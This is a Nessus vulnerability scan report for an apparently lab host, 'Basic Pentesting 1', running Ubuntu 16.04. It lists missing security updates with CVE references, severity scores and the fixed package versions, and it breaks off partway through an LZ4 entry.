tenable Nessus

Report generated by Tenable Nessus™

Basic Pentesting 1

Sat, 25 Oct 2025 12:59:01 India Standard Time

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.1.2

Vulnerabilities by Host

Collapse All | Expand All

192.168.1.2

26	64	47	3	67
CRITICAL	HIGH	MEDIUM	LOW	INFO

Scan Information

Start time:	Sat Oct 25 12:51:35 2025
End time:	Sat Oct 25 12:59:01 2025

Host Information

IP:	192.168.1.2
MAC Address:	00:0C:29:9D:8E:9E 30:03:C8:DA:11:83
OS:	Linux Kernel 4.10.0-28-generic on Ubuntu 16.04

Vulnerabilities

201351 - Canonical Ubuntu Linux SEoL (16.04.x) -

Synopsis

An unsupported version of Canonical Ubuntu Linux is installed on the remote host.

Description

According to its version, Canonical Ubuntu Linux is 16.04.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

http://www.nessus.org/u?cdd15280

Solution

Upgrade to a version of Canonical Ubuntu Linux that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2024/07/03, Modified: 2025/03/26

Plugin Output

tcp/0

```
OS : Canonical Ubuntu Linux 16.04.3 LTS (Xenial Xerus)
Security End of Life : April 29, 2021
Time since Security End of Life (Est.) : >= 4 years
```

193362 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : klibc vulnerabilities (USN-6736-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6736-1 advisory.

It was discovered that zlib, vendored in klibc, incorrectly handled pointer arithmetic. An attacker could use this issue to cause klibc to crash or to possibly execute arbitrary code. (CVE-2016-9840, CVE-2016-9841)

Danilo Ramos discovered that zlib, vendored in klibc, incorrectly handled memory when performing certain deflating operations. An attacker could use this issue to cause klibc to crash or to possibly execute arbitrary code. (CVE-2018-25032)

Evgeny Legerov discovered that zlib, vendored in klibc, incorrectly handled memory when performing certain inflate operations. An attacker could use this issue to cause klibc to crash or to possibly execute arbitrary code. (CVE-2022-37434)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6736-1

Solution

Update the affected klibc-utils, libklibc and / or libklibc-dev packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.9268

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2016-9840
CVE	CVE-2016-9841
CVE	CVE-2018-25032
CVE	CVE-2022-37434
XREF	USN:6736-1

Plugin Information

Published: 2024/04/16, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : klibc-utils_2.0.4-8ubuntu1.16.04.3
- Fixed package : klibc-utils_2.0.4-8ubuntu1.16.04.4+esm2

- Installed package : libklibc_2.0.4-8ubuntu1.16.04.3
- Fixed package : libklibc_2.0.4-8ubuntu1.16.04.4+esm2
```

243224 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS : SQLite vulnerabilities (USN-7679-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-7679-1 advisory.

It was discovered that SQLite incorrectly handled aggregate terms. An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code.
(CVE-2025-6965)

It was discovered that SQLite incorrectly handled certain argument values to sqlite3_db_config(). An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code. This update fixes the issue in Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. This issue was previously fixed in Ubuntu 20.04 LTS via USN-7528-1. (CVE-2025-29088)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7679-1

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v4.0 Base Score

7.2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L)

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

9.2

EPSS Score

0.0004

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2025-6965
CVE	CVE-2025-29088
XREF	IAVA:2025-A-0288-S
XREF	IAVA:2025-A-0529
XREF	USN:7679-1

Plugin Information

Published: 2025/07/31, Modified: 2025/07/31

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsqlite3-0_3.11.0-1ubuntu1.5
- Fixed package : libsqlite3-0_3.11.0-1ubuntu1.5+esm3
```

194950 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : GNU C Library vulnerabilities (USN-6762-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6762-1 advisory.

It was discovered that GNU C Library incorrectly handled netgroup requests. An attacker could possibly use this issue to cause a crash or execute arbitrary code. This issue only affected Ubuntu 14.04 LTS.
(CVE-2014-9984)

It was discovered that GNU C Library might allow context-dependent attackers to cause a denial of service.
This issue only affected Ubuntu 14.04 LTS. (CVE-2015-20109)

It was discovered that GNU C Library when processing very long pathname arguments to the realpath function, could encounter an integer overflow on 32-bit architectures, leading to a stack-based buffer overflow and, potentially, arbitrary code execution. This issue only affected Ubuntu 14.04 LTS.
(CVE-2018-11236)

It was discovered that the GNU C library getcwd function incorrectly handled buffers. An attacker could use this issue to cause the GNU C Library to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2021-3999)

Charles Fol discovered that the GNU C Library iconv feature incorrectly handled certain input sequences.
An attacker could use this issue to cause the GNU C Library to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2024-2961)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6762-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.1 (CVSS:3.0/E:F/RL:O/RC:C)

VPR Score

7.2

EPSS Score

0.9265

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2014-9984
CVE	CVE-2015-20109
CVE	CVE-2018-11236
CVE	CVE-2021-3999
CVE	CVE-2024-2961
XREF	USN:6762-1

Exploitable With

Core Impact (true) Metasploit (true)

Plugin Information

Published: 2024/05/02, Modified: 2025/10/06

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm6

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm6
```

110322 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Liblouis vulnerabilities (USN-3669-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-3669-1 advisory.

It was discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this to cause a denial of service. This issue only affected Ubuntu 18.04 LTS. (CVE-2018-11410)

It was discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this to execute arbitrary code. (CVE-2018-11440)

It was discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this to cause a denial of service or execute arbitrary code. (CVE-2018-11577)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3669-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0213

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-11410
CVE	CVE-2018-11440
CVE	CVE-2018-11577
XREF	USN:3669-1

Plugin Information

Published: 2018/06/05, Modified: 2025/09/03

Plugin Output

tcp/0

```
  - Installed package : liblouis-data_2.6.4-2ubuntu0.1
  - Fixed package : liblouis-data_2.6.4-2ubuntu0.2

  - Installed package : liblouis9_2.6.4-2ubuntu0.1
  - Fixed package : liblouis9_2.6.4-2ubuntu0.2

  - Installed package : python3-louis_2.6.4-2ubuntu0.1
  - Fixed package : python3-louis_2.6.4-2ubuntu0.2
```

166264 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Libksba vulnerability (USN-5688-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5688-1 advisory.

It was discovered that an integer overflow could be triggered in Libksba when decoding certain data. An attacker could use this issue to cause a denial of service (application crash) or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5688-1

Solution

Update the affected libksba-dev, libksba-mingw-w64-dev and / or libksba8 packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0014

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-3515
XREF	USN:5688-1
XREF	IAVA:2023-A-0072

Plugin Information

Published: 2022/10/19, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libksba8_1.3.3-1ubuntu0.16.04.1
- Fixed package : libksba8_1.3.3-1ubuntu0.16.04.1+esm1
```

171011 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : PAM regressions (USN-5825-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5825-2 advisory.

USN-5825-1 fixed vulnerabilities in PAM. Unfortunately that update was incomplete and could introduce a regression. This update fixes the problem.

We apologize for the inconvenience.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5825-2

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0006

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-28321
XREF	USN:5825-2

Plugin Information

Published: 2023/02/06, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpam-modules_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules_1.1.8-3.2ubuntu2.3+esm4

- Installed package : libpam-modules-bin_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules-bin_1.1.8-3.2ubuntu2.3+esm4

- Installed package : libpam-runtime_1.1.8-3.2ubuntu2
- Fixed package : libpam-runtime_1.1.8-3.2ubuntu2.3+esm4

- Installed package : libpam0g_1.1.8-3.2ubuntu2
- Fixed package : libpam0g_1.1.8-3.2ubuntu2.3+esm4
```

170644 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : PAM vulnerability (USN-5825-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5825-1 advisory.

It was discovered that PAM did not correctly restrict login from an IP address that is not resolvable via DNS. An attacker could possibly use this issue to bypass authentication.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5825-1

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0006

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-28321
XREF	USN:5825-1

Plugin Information

Published: 2023/01/25, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpam-modules_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules_1.1.8-3.2ubuntu2.3+esm2

- Installed package : libpam-modules-bin_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules-bin_1.1.8-3.2ubuntu2.3+esm2

- Installed package : libpam-runtime_1.1.8-3.2ubuntu2
- Fixed package : libpam-runtime_1.1.8-3.2ubuntu2.3+esm2

- Installed package : libpam0g_1.1.8-3.2ubuntu2
- Fixed package : libpam0g_1.1.8-3.2ubuntu2.3+esm2
```

170001 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Heimdal vulnerabilities (USN-5800-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5800-1 advisory.

It was discovered that Heimdal incorrectly handled certain SPNEGO tokens. A remote attacker could possibly use this issue to cause a denial of service. (CVE-2021-44758)

Evgeny Legerov discovered that Heimdal incorrectly handled memory when performing certain DES decryption operations. A remote attacker could use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2022-3437)

Greg Hudson discovered that Kerberos PAC implementation used in Heimdal incorrectly handled certain parsing operations. A remote attacker could use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2022-42898)

It was discovered that Heimdal's KDC did not properly handle certain error conditions. A remote attacker could use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2022-44640)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5800-1

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0686

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-44758
CVE	CVE-2022-3437
CVE	CVE-2022-42898
CVE	CVE-2022-44640
XREF	USN:5800-1

Plugin Information

Published: 2023/01/12, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3
```

```
- Installed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3

- Installed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm3
```

159882 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : klibc vulnerabilities (USN-5379-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5379-1 advisory.

It was discovered that klibc did not properly perform some mathematical operations, leading to an integer overflow. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-31870)

It was discovered that klibc did not properly handled some memory allocations on 64 bit systems. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-31871)

It was discovered that klibc did not properly handled some file sizes values on 32 bit systems. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-31872)

It was discovered that klibc did not properly handled some memory allocations. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code.
(CVE-2021-31873)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5379-1

Solution

Update the affected klibc-utils, libklibc and / or libklibc-dev packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0029

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-31870
CVE	CVE-2021-31871
CVE	CVE-2021-31872
CVE	CVE-2021-31873
XREF	USN:5379-1

Plugin Information

Published: 2022/04/18, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : klibc-utils_2.0.4-8ubuntu1.16.04.3
- Fixed package : klibc-utils_2.0.4-8ubuntu1.16.04.4+esm1

- Installed package : libklibc_2.0.4-8ubuntu1.16.04.3
- Fixed package : libklibc_2.0.4-8ubuntu1.16.04.4+esm1
```

157160 - Ubuntu 16.04 ESM / 18.04 LTS : shadow vulnerabilities (USN-5254-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5254-1 advisory.

It was discovered that shadow incorrectly handled certain inputs. An attacker could possibly use this issue to cause a crash or expose sensitive information. This issue only affected Ubuntu 14.04 ESM and Ubuntu 16.04 ESM. (CVE-2017-12424)

It was discovered that shadow incorrectly handled certain inputs. An attacker could possibly use this issue to expose sensitive information. (CVE-2018-7169)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5254-1

Solution

Update the affected login, passwd and / or uidmap packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0057

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-12424
CVE	CVE-2018-7169
XREF	USN:5254-1

Plugin Information

Published: 2022/01/27, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : login_1:4.2-3.1ubuntu5.3
- Fixed package : login_1:4.2-3.1ubuntu5.5+esm1

- Installed package : passwd_1:4.2-3.1ubuntu5.3
- Fixed package : passwd_1:4.2-3.1ubuntu5.5+esm1
```

164275 - Ubuntu 16.04 ESM / 18.04 LTS : zlib vulnerability (USN-5570-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5570-1 advisory.

Evgeny Legerov discovered that zlib incorrectly handled memory when performing certain inflate operations.
An attacker could use this issue to cause zlib to crash, resulting in a denial of service, or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5570-1

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.9268

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-37434
XREF	USN:5570-1

Plugin Information

Published: 2022/08/18, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : zlib1g_1:1.2.8.dfsg-2ubuntu4.3
- Fixed package : zlib1g_1:1.2.8.dfsg-2ubuntu4.3+esm2
```

158680 - Ubuntu 16.04 ESM : GNU C Library vulnerabilities (USN-5310-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5310-2 advisory.

USN-5310-1 fixed several vulnerabilities in GNU. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5310-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0126

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-3999
CVE	CVE-2022-23218
CVE	CVE-2022-23219
XREF	USN:5310-2

Plugin Information

Published: 2022/03/07, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm1

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm1
```

166514 - Ubuntu 16.04 ESM : GNU C Library vulnerabilities (USN-5699-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5699-1 advisory.

Jan Engelhardt, Tavis Ormandy, and others discovered that the GNU C Library iconv feature incorrectly handled certain input sequences. An attacker could possibly use this issue to cause the GNU C Library to hang or crash, resulting in a denial of service. (CVE-2021-3326)

It was discovered that the GNU C Library nscd daemon incorrectly handled certain netgroup lookups. An attacker could possibly use this issue to cause the GNU C Library to crash, resulting in a denial of service. (CVE-2021-35942)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5699-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.0

EPSS Score

0.0201

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-3326
CVE	CVE-2021-35942
XREF	USN:5699-1

Plugin Information

Published: 2022/10/26, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm2

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm2
```

150712 - Ubuntu 16.04 ESM : LZ4 vulnerability (USN-4968-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-4968-2 advisory.

USN-4968-1 fixed a vulnerability in LZ4. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4968-2

Solution

Update the affected liblz4-1, liblz4-dev and / or liblz4-tool packages.

Risk Factor

High

CVSS v3.0 Base Score

